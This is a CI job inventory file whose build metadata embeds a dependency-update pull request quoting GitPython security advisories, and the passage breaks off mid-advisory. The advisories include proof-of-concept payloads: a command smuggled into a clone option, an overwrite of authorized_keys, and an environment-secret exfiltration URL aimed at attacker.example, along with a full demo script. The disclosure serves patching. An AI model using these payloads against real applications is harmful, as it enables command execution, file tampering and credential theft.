all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    ubuntu-noble:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fe28:ead3
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: 6564fb90-5197-4796-a42d-fa25a91d9d50
        host_id: 7f2607eceb24f4583c6f9496c53c64b51afe50de5eacda4379b21c42
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fe28:ead3
        label: ubuntu-noble
        node_properties: {}
        private_ipv4: 10.128.7.217
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.192.155
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fe28:ead3
        region: null
        slot: null
  vars:
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job netbox-manager-e2e explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/netbox-manager/.zuul.yaml@main#32>'
      - '<Job netbox-manager-e2e explicit: None implied: None source: osism/netbox-manager/.zuul.yaml@main#39>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 197fa112929f4025ae0a196e51e02ba4
      build_refs:
      - branch: main
        change: '288'
        change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
          |\n\n---\n\n> [!WARNING]\n> Some dependencies could not be looked up. Check
          the [Dependency Dashboard](../issues/1) for more information.\n\n---\n\n###
          GitPython: Incomplete unsafe_git_clone_options denylist omits --template
          enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
          denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
          into the new repository and runs them (`post-checkout` fires during clone),
          so a caller who can influence clone options can achieve arbitrary command
          execution in the default `allow_unsafe_options=False` configuration.\n\n#####
          Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
          \u2014 `--template` is absent. The guard candidate `['--template']` passes
          `check_unsafe_options` (verified). git copies the hook directory and executes
          `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
          do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
          Impact\nArbitrary OS command execution during clone (default config). Requires
          an attacker-readable directory containing an executable hook \u2014 a genuine
          second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
          or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
          Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
          +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
          post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
          Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x).
          Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
          Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
          Bypass proof: `--template` not on the denylist -> passes (verified candidate
          `['--template']`, no error).\n3. Sink: git copies the hook and executes
          `post-checkout` at checkout. Impact: ACE, default config (verified marker
          created).\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          guard candidate `['--template']` passed with no error; staged `post-checkout`
          hook executed during `clone_from`, creating the marker. Independent of the
          value-smuggle bypass (`--template` is a legitimate long option that survives
          any single-char-value fix). Not covered by any existing advisory.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `--template`
          (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Arbitrary file overwrite via git diff --output argument injection
          in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()`
          forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
          guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
          giving a broad surface. `git diff --output=<path>` writes real patch content
          to an attacker-chosen path, enabling arbitrary file overwrite.\n\n#####
          Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
          anywhere in the method (grep-confirmed). Additionally `diff.py:265` does
          `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE
          the `--` separator, so a value of `--output=/path` is parsed by git as an
          option \u2014 a value-only control path requiring no kwarg key.\n\n#####
          Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen
          path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real
          diff/patch bytes (attacker-influenced). Per the skill's rule, controlling
          WHICH file is overwritten = I:H regardless of content constraints.\n\n#####
          Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
          output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
          (105 bytes verified)\n\n##### Value-control (attacker controls only the
          ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')
          \         # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n#####
          Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)`
          with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none
          in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method
          body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree
          <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates
          the target then writes diff content. Impact: overwrite/corrupt any file
          at process privilege (attacker chooses the path). Verified argv and victim
          overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          both key-control (`output=`) and value-control (`other='--output=...'`)
          overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
          This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
          \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
          to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
          before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe git option guard bypass via single-character kwarg value
          token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
          guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened
          since) can be bypassed for **every** guarded method (`clone`/`clone_from`,
          `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`)
          by smuggling an option token inside the VALUE of a single-character kwarg.
          In the default `allow_unsafe_options=False` configuration this yields arbitrary
          command execution via `--upload-pack`.\n\n##### Root Cause\nThe guard builds
          its candidate option list from kwarg KEYS only: `_option_candidates([],
          {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives
          the candidate from the key, never the value). `-n` is not on the denylist,
          so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)`
          (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`.
          git then parses the second token as `--upload-pack` and executes the attacker-supplied
          command. The guard never inspects the value that becomes a separate argv
          token.\n\n##### Impact\nArbitrary OS command execution as the host process
          (via `--upload-pack`) in the default configuration, affecting all guarded
          methods since they all build candidates through the name-only `_option_candidates`.\n\n#####
          Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo,
          out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE
          created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write
          variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')`
          -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file
          truncated.\n\n##### Attack Chain\n1. Entry: app forwards a user-supplied
          options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`.
          Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)`
          at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})`
          -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified
          live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)`
          -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none
          (guard already passed on name-only candidate). Bypass proof: verified transform
          emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
          -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
          created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
          HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
          `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from
          with the payload created the marker file; the direct-name `upload_pack=`
          form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore
          key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option,
          GHSA-x2qx multi-before-split) are BLOCKED on HEAD \u2014 this is a distinct
          kwarg-value->separate-token vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
          Suggested Fix\nMake `_option_candidates` also emit candidates derived from
          single-character kwarg VALUES when `split_single_char_options` is in effect,
          OR run `check_unsafe_options` over the fully-transformed argv rather than
          the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)**
          \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 8.8 / 10
          (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via Repo.create_remote() /
          Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
          stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
          but it guarded only that one caller. `Remote.create()` \u2014 reached from
          the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
          passes an attacker-influenceable URL through `Git.polish_url()` with the
          default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
          is expanded server-side to embed the hosting process's environment secret,
          written into `.git/config`, and then transmitted to the attacker's host
          on the next `fetch`/`pull`. This is the same primitive and same \"import
          repository from URL\" threat model the advisory describes, via the sibling
          caller the fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
          added an `expand_vars` parameter to `Git.polish_url()` (default `True`)
          and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
          The shared helper's dangerous default was left in place, and the other callers
          were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
          `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
          expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)       # https:// carrying the secret
          passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded
          URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after*
          expansion here, so it rejects an `ext::` payload but does nothing about
          an `https://` URL that carries an expanded secret in its path or host \u2014
          the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
          (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
          file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
          Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53
          (installed below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
          /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
          install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
          > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration
          via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
          os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython
          version:\", git.__version__)\n\n##### Sentinel standing in for a process
          secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
          = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
          = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
          \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
          \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
          0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
          daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
          from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
          % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
          placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
          URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/netbox-manager).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/netbox-manager/pull/288
        commit_id: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        patchset: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/netbox-manager
          name: osism/netbox-manager
          short_name: netbox-manager
        src_dir: src/github.com/osism/netbox-manager
        topic: null
      buildset: 0dd9c7ea5fde4785bccc8750229697d8
      buildset_refs:
      - branch: main
        change: '288'
        change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
          |\n\n---\n\n> [!WARNING]\n> Some dependencies could not be looked up. Check
          the [Dependency Dashboard](../issues/1) for more information.\n\n---\n\n###
          GitPython: Incomplete unsafe_git_clone_options denylist omits --template
          enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
          denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
          into the new repository and runs them (`post-checkout` fires during clone),
          so a caller who can influence clone options can achieve arbitrary command
          execution in the default `allow_unsafe_options=False` configuration.\n\n#####
          Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
          \u2014 `--template` is absent. The guard candidate `['--template']` passes
          `check_unsafe_options` (verified). git copies the hook directory and executes
          `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
          do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
          Impact\nArbitrary OS command execution during clone (default config). Requires
          an attacker-readable directory containing an executable hook \u2014 a genuine
          second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
          or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
          Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
          +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
          post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
          Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x).
          Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
          Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
          Bypass proof: `--template` not on the denylist -> passes (verified candidate
          `['--template']`, no error).\n3. Sink: git copies the hook and executes
          `post-checkout` at checkout. Impact: ACE, default config (verified marker
          created).\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          guard candidate `['--template']` passed with no error; staged `post-checkout`
          hook executed during `clone_from`, creating the marker. Independent of the
          value-smuggle bypass (`--template` is a legitimate long option that survives
          any single-char-value fix). Not covered by any existing advisory.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `--template`
          (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Arbitrary file overwrite via git diff --output argument injection
          in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()`
          forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
          guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
          giving a broad surface. `git diff --output=<path>` writes real patch content
